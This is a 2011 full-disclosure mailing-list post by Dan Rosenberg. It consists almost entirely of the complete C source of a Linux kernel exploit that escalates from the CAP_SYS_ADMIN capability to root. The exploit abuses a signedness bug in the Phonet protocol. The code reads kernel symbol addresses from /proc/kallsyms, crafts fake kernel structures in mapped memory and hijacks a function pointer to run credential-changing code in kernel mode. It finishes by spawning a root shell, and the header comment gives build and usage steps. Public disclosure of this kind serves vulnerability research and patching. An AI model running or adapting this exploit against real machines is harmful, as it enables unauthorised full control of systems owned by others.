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Message-ID: <1294245233.4840.4.camel@dan>
Date: Wed, 05 Jan 2011 11:33:53 -0500
From: Dan Rosenberg <dan.j.rosenberg@...il.com>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: Getting root, the hard way
/*
* Linux Kernel CAP_SYS_ADMIN to root exploit
* by Dan Rosenberg
* @djrbliss on twitter
*
* Usage:
* gcc -w caps-to-root.c -o caps-to-root
* sudo setcap cap_sys_admin+ep caps-to-root
* ./caps-to-root
*
* This exploit is NOT stable:
*
* * It only works on 32-bit x86 machines
*
* * It only works on >= 2.6.34 kernels (it could probably be ported back, but
* it involves winning a race condition)
*
* * It requires symbol support for symbols that aren't included by default in
* several distributions
*
* * It requires the Phonet protocol, which may not be compiled on some
* distributions
*
* * You may experience problems on multi-CPU systems
*
* It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be
* surprised if it doesn't work on other distributions.
*
* ----
*
* Lately there's been a lot of talk about how a large subset of Linux
* capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all
* capability that, among other things, allows mounting filesystems and
* injecting commands into an administrator's shell - in other words, it
* trivially allows you to get root. However, I found another way to get root
* from CAP_SYS_ADMIN...the hard way.
*
* This exploit leverages a signedness error in the Phonet protocol. By
* specifying a negative protocol index, I can craft a series of fake
* structures in userspace and cause the incrementing of an arbitrary kernel
* address, which I then leverage to execute arbitrary kernel code.
*
* Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth,
* and bla.
*
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <linux/capability.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int getroot(void)
{
commit_creds(prepare_kernel_cred(0));
return 0;
}
int konami(void)
{
/* Konami code! */
asm("inc %edx;" /* UP */
"inc %edx;" /* UP */
"dec %edx;" /* DOWN */
"dec %edx;" /* DOWN */
"shl %edx;" /* LEFT */
"shr %edx;" /* RIGHT */
"shl %edx;" /* LEFT */
"shr %edx;" /* RIGHT */
"push %ebx;" /* B */
"pop %ebx;"
"push %eax;" /* A */
"pop %eax;"
"mov $getroot, %ebx;"
"call *%ebx;"); /* START */
return 0;
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
return 0;
oldstyle = 1;
}
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
int main(int argc, char * argv[])
{
int sock, proto, i, offset = -1;
unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
void * map;
/* Create a socket to load the module for symbol support */
printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
sock = socket(PF_PHONET, SOCK_DGRAM, 0);
if(sock < 0) {
if(errno == EPERM)
printf("[*] You don't have CAP_SYS_ADMIN.\n");
else
printf("[*] Failed to open Phonet socket.\n");
return -1;
}
/* Resolve kernel symbols */
printf("[*] Resolving kernel symbols...\n");
proto_tab = get_kernel_sym("proto_tab");
pn_ops = get_kernel_sym("phonet_dgram_ops");
pn_ioctl = get_kernel_sym("pn_socket_ioctl");
commit_creds = get_kernel_sym("commit_creds");
prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");
if(!proto_tab || !commit_creds || !prepare_kernel_cred ||
!pn_ops || !pn_ioctl) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
/* Thanks bla, for reminding me how to do basic math */
landing = 0x20000000;
proto = 1 << 31 | (landing - proto_tab) >> 2;
/* Map it */
printf("[*] Preparing fake structures...\n");
map = mmap((void *)landing, 0x10000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map landing area.\n");
return -1;
}
/* Pointer to phonet_protocol struct */
ptr = (unsigned long *)landing;
ptr[0] = &ptr[1];
/* phonet_protocol struct */
for(i = 1; i < 4; i++)
ptr[i] = &ptr[4];
/* proto struct */
for(i = 4; i < 204; i++)
ptr[i] = &ptr[204];
/* First, do a test run to calculate any offsets */
target = 0x30000000;
/* module struct */
for(i = 204; i < 404; i++)
ptr[i] = target;
/* Map it */
map = mmap((void *)0x30000000, 0x2000000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map landing area.\n");
return -1;
}
printf("[*] Calculating offsets...\n");
socket(PF_PHONET, SOCK_DGRAM, proto);
ptr = 0x30000000;
for(i = 0; i < 0x800000; i++) {
if(ptr[i] != 0) {
offset = i * sizeof(void *);
break;
}
}
if(offset == -1) {
printf("[*] Test run failed.\n");
return -1;
}
/* MSB of pn_ioctl */
target = pn_ops + 10 * sizeof(void *) - 1 - offset;
/* Re-fill the module struct */
ptr = (unsigned long *)landing;
for(i = 204; i < 404; i++)
ptr[i] = target;
/* Push pn_ioctl fptr into userspace */
printf("[*] Modifying function pointer...\n");
landing = pn_ioctl;
while((landing & 0xff000000) != 0x10000000) {
socket(PF_PHONET, SOCK_DGRAM, proto);
landing += 0x01000000;
}
/* Map it */
map = mmap((void *)(landing & ~0xfff), 0x10000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map payload area.\n");
return -1;
}
/* Copy payload */
memcpy((void *)landing, &konami, 1024);
printf("[*] Executing Konami code at ring0...\n");
ioctl(sock, 0, NULL);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] Konami code worked! Have a root shell.\n");
execl("/bin/sh", "/bin/sh", NULL);
}
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